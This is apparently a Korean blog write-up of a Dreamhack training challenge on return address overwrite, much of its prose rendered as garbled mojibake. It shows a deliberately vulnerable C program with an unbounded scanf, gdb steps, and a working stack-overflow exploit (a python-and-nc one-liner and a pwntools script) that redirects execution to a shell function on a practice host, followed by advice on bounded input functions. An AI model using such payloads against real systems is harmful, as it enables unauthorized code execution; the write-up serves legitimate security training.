๐๏ธ Access
Exploit Tech: Return Address Overwrite์์ ์ค์ตํ๋ ๋ฌธ์ ์ ๋๋ค.
๐พ Exploit Algorithm & payload
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
#1
: rao.c ํ์ผ์ ์ปดํ์ผ ํ ์ด๋ฆ(rao)์ผ๋ก ์ง์ ํด์ค ํ -no-pie ์ต์ ์ ์ด์ฉํ์ฌ PIE(Position Independent Executables)๋ฅผ ๋นํ์ฑํ๋ก ์ผํ์ผ ํ๋ก๊ทธ๋จ์ ์์ฑํ๋ค.
> PIE๋?
์คํ ํ์ผ์ ๊ธฐ๋ณธ ์ฃผ์๋ฅผ ๋ฌด์์๋ก ์ง์ ํ์ฌ ๊ณต๊ฒฉ์๊ฐ ๋ฉ๋ชจ๋ฆฌ์์ ์ฝ๋ ๋ฐ ๋ฐ์ดํฐ์ ์์น๋ฅผ ์์ธกํ๊ธฐ ์ด๋ ต๊ฒ ๋ง๋๋ ์ต์ ์์คํ ๋ณด์ ๊ธฐ๋ฅ. ์ด๋ -no-pie ใ ์ต์ ์ ์ด์ฉํด ๋ฒํผ ์ค๋ฒํ๋ก ์ทจ์ฝ์ ์ ์ ์ฉํ๋ ค๊ณ ํ ๋ ํน์ ์ ํ์ ๋๋ฒ๊น ๋ฐ ์ ์ฉ ๊ธฐ์ ์ ๋ฐฉํดํ ์ ์์.
: ์ปดํ์ผ์ ๊ดํ ์ ๋ณด๋ฅผ ํ์ธํ๊ธฐ ์ํด์ readelf -h์ฌ์ฉํ๋ค.
#2
char buf[0x28];
//...
scanf("%s", buf);
: ์ทจ์ฝ์ ์ scanf์ “%s’๋ก ์ธํ BOF(Buffer Over Flow)์ด๋ค.
: “%s”๋ ๋ฌธ์์ด์ ์ ๋ ฅ๋ฐ์ ๋, ์ ๋ ฅ์ ๊ธธ์ด๋ฅผ ๋ฐ๋ก ์ ํํ์ง ์๊ณ ์๊ณ , ๋์ด์ฐ๊ธฐ, ํญ, ๊ฐํ ๋ฌธ์ ๋ฑ์ด ๋ค์ด์ฌ ๋๊น์ง ์ ๋ ฅ์ ๋ฐ๊ณ ์๋ค.
: ์ ๋ ฅ์ ๋ฐ์ ๊ธธ์ด๊ฐ 0x28(buf)์ธ ๋ฐฐ์ด์ ๊ฐ์ ๋ฃ๊ณ ์๋ ๊ฒ์ด๋ค.
: ์ฌ๊ธฐ์ 0x28๊ฐ๊น์ง ์ ๋ ฅ์ ๋ฐ์ ๊ณต๊ฐ์ด ์์ง๋ง, “%s”๋ง์ ์ฌ์ฉํ์ฌ ์ ๋ ฅ์ ๋ฐ๊ณ ์๊ธฐ ๋๋ฌธ์ ๋ฒํผ์ ํฌ๊ธฐ๋ณด๋ค ํฐ ๋ฐ์ดํฐ ์ ๋ ฅ์ด ๋ค์ด๊ฐ๋ฉด ์ค๋ฒํ๋ก์ฐ๊ฐ ๋ฐ์ํ๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
#3
: scanf ํจ์๋ฅผ ํธ์ถํ ๋, ์ธ์๊ฐ 2๊ฐ ์ฌ์ฉ๋๋ค. (%s, ์ฌ์ฉ์ ์ ๋ ฅ ๊ฐ)
: ์ฌ์ฉ์๊ฐ ์ ๋ ฅํ ๊ฐ์ main ํจ์์ rbp๋ก๋ถํฐ 0x30 ๋จ์ด์ง ์์น๋ถํฐ ์์ํ์ฌ ๊ฐ์ด ์ ์ฅ๋๋ค.
: stack์ ์์์ ๋ฐ์ผ๋ก ์๋ผ๊ธฐ(์๋๋ก ์๋๋ค, heap๊ณผ ๋ฐ๋, ๊ธฐ์กด ์ฃผ์๋ณด๋ค ๋ฎ์ ์ฃผ์๋ก ํ์ฅ) ๋๋ฌธ์ ๋ง์ฝ 'hello'๋ผ๋ ๊ฐ์ ๋ฃ๊ฒ ๋๋ค๋ฉด h = '0x30', e = '0x2f', l = '0x2e', l = '0x2d', o = '0x2c' ๋ก ์ฃผ์๊ฐ ํ์ฅ๋๋ค๊ณ ๋ณผ ์ ์๋ค.
: ๊ทธ๋์ buf๋ rbp-0x30์ ์๊ณ ์คํ ํ๋ ์ ๊ตฌ์กฐ์์ rbp ์ฃผ์์๋ SFP๊ฐ ๋ค์ด ์๊ณ ๋ค์ ์ฃผ์์ RET์ด ๋ค์ด ์๋ค๊ณ ๋ณผ ์ ์๋ค.
: ๋ฐ๋ผ์ 0x30 + 0x8(0x38, 56๊ฐ์ ๋ฌธ์)๋ก ๋ฌธ์๋ฅผ ์ฑ์ด RET(ํ๋ก์์ ๋ฐํ, ๋ฐํ ๊ฐ)๋ฅผ get_shell()ํจ์๋ก ์ฃผ์ ๋ณ์กฐ ์ํค๋ฉด ๋๋ค.
: ์ฝ๋๋ก ์ง์ ๋๋ฒ๊น ํ๋ฉฐ ํ์ธํด ๋ณผ ์๋ ์๋ค.
$ gdb rao
pwndbg> disassemble main
pwndbg> b *main+63 #์ฒซ๋ฒ์งธ ์ค๋จ์
pwndbg> b *main+69 #๋๋ฒ์งธ ์ค๋จ์
pwndbg> r
pwndbg> c
: ์ฒซ๋ฒ์งธ ์ค๋จ์ ์์ Input: ๊ฐ์ผ๋ก hello(์ ์์ ์ธ ๊ฐ)๋ฅผ ์ ๋ ฅํ์ ๋, ๋๋ฒ์งธ ์ค๋จ์ ์์ ์ ์์ ์ธ ๋์ ์ ์ฃผ์๋ฅผ 0x7ffff7de7083๋ก ๋ฆฌํด๋๋ค๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
: ์ฒซ๋ฒ์งธ ์ค๋จ์ ์์ Input: ๊ฐ์ผ๋ก ๋ง์ ์ ๋ ฅ์ ‘a’(๋น์ ์์ ์ธ ๊ฐ, 56๋ฒ ์ด์ ์คํ)๋ฅผ ์ ๋ ฅํ์ ๋, ๋๋ฒ์งธ ์ค๋จ์ ์์ ์ฃผ์๋ 0x7ffff7de7000๋ก ์ ์ ๋ฆฌํด ์ฃผ์๊ฐ ์๋ ๋ค๋ฅธ ์ฃผ์ ๋ณ๊ฒฝ๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
: ๊ทธ๋ฆฌ๊ณ ์ ์ ๋์์ mov edi, eax๋ก call exit ๋์์ ์๋ฃํ์ฌ ์คํ ์ข ๋ฃ๋ฅผ ํ์ธํ ์ ์๋๋ฐ ์ฌ๊ธฐ์๋ sbb(Subtact with Borrow)๋ก ์ด์ ๋นผ๊ธฐ ๋๋ ์บ๋ฆฌ ํ๋๊ทธ์์ ์์ฑ๋ ์ ์๋ ๋น๋ฆผ์ด ๋ฐ์ํ์ฌ ์คํ์ด ์ํ๋ ์ ์ ์ข ๋ฃ๊ฐ ๋์ง ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
#4
//...
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
//...
: ์ฝ๋์์ ํ๋ก๊ทธ๋จ ๋ด์์ ์์ ์คํํค๋ ํจ์๊ฐ ์๋ ๊ฒ์ ํ์ธํ์๊ธฐ์ main ํจ์์ ๋ฆฌํด ์ฃผ์๋ฅผ get_shell()ํจ์๋ก ๋ณ๊ฒฝํ๊ธฐ ์ํด print๋ก get_shell()ํจ์ ์ฃผ์์์ ์ ์ ์๋ค.
issue..
: 0x4011d์ด๊ธฐ ๋๋ฌธ์ payload ์์ฑ์ \xdd\x11\x40\x00\x00\x00\x00\x00๋ฅผ ์ด์ฉํ์ผ๋ ์์ค ์ฝ๋๋ฅผ ์ง์ ์ปดํ์ผ ํ์ฌ ๋ฒํผ์ ์ฌ์ด์ฆ๊ฐ ๋ฌ๋ผ์ก๊ธฐ ๋๋ฌธ์ ๊ฐ์ ์ป์ ์ ์์๋ค. ๋ฐ๋ผ์ ์ค์ต ์ค์ ๋ฒํผ ์ฌ์ด์ฆ์ธ \xaa\x06\x40\x00\x00\x00\x00\x00์ผ๋ก ์คํ๋๋ค.
#5
(python3 -c "import sys; sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')"; cat)| nc host3.dreamhack.games 23452
from pwn import *
#TCP connection
r = remote('host3.dreamhack.games', 7182)
#Build payload
get_shell = '\xaa\x06\x40\x00\x00\x00\x00\x00'
payload = 'A' * 0x30 + 'B' * 0x8 + get_shell
#ํ์ด๋ก๋ ์ ์ก(\n์ฌ์ฉ) & ํฐ๋ฏธ๋๋ก ๋ฐ์ดํฐ ์
๋ ฅํ๊ณ ํ๋ก์ธ์ค ์ถ๋ ฅ ํ์ธ
r.sendline(payload)
r.interactive()
: 'A'๋ก 0x30 buf, 'B'๋ก SFP๋ฅผ (0x38 ์ด์์ ๋ฌธ์์ด,56์)์ฑ์ด ํ get_shell์ ์ฃผ์๋ฅผ ๋ฃ์ด ํ๋๊ทธ๋ฅผ ํ๋ํ ์ ์๋ค.
๐Analysis and results for obtaining the Flag DH{…}
๐Summary
scanf๋ฅผ ์ด์ฉํ์ฌ "%s"๋ง ์ฌ์ฉํ๋ค๋ฉด ์ ์์ ์ผ๋ก ๋ฒํผ์ ํฌ๊ธฐ๋ณด๋ค ํฐ ๋ฐ์ดํฐ๋ฅผ ์ ๋ ฅํ๋ฉด ์ค๋ฒํ๋ก์ฐ๊ฐ ๋ฐ์ํ ์ ์์
์ด๊ฒ์ ๋ฐฉ์งํ๊ธฐ ์ํด์๋ ์ ํํ n๊ฐ์ ๋ฌธ์๋ง์ ๋ฐ๋ "%[n]s"์ ํํ๋ก ์ฌ์ฉํด์ผ ํจ
๋ํ C/C++์ ํ์ค ํจ์ ์ค stcpy, stcat, sprintf ๋ฑ์ด ์๋๋ฐ, ์ด ํจ์๋ค ๋ํ ๋ฒํผ๋ฅผ ๋ค๋ฃจ๋ฉด์ ๊ธธ์ด๋ฅผ ์ ๋ ฅํ์ง ์๋ ํจ์์ด๋ค. ๋๋ฌธ์ ๋ฒํผ์ ํฌ๊ธฐ๋ฅผ ๊ฐ์ด ์ ๋ ฅํ ์ ์๋ ๊ฒ์ ์ฌ์ฉํ๋ ๊ฒ์ด ์ค์ํ๋ค. stncpy, memcpy ์ ๊ฐ์ ๊ฒฝ๊ณ ๊ฒ์ฌ๋ฅผ ์ํํ๋ ํจ์๋ฅผ ์ฌ์ฉํ๊ฑฐ๋ gets,strcpy,strcat์ ์ฌ์ฉํ๊ธฐ ๋ณด๋ค๋ ์์ ํ fgets, strncpy, strncat ๋ฑ์ ์ฌ์ฉํ๋๊ฒ์ด ์ข๋ค.
'[Dreamhack]SystemHacking > ๋ก๋๋งต_Basic' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Level1: Return to Shellcode (0) | 2023.08.30 |
---|---|
[Dreamhack] Level1: basic_exploitation_001 (0) | 2023.08.28 |
[Dreamhack] Level2: basic_exploitation_000 (0) | 2023.08.25 |
[Dreamhack] Level2: shell_basic (0) | 2023.08.22 |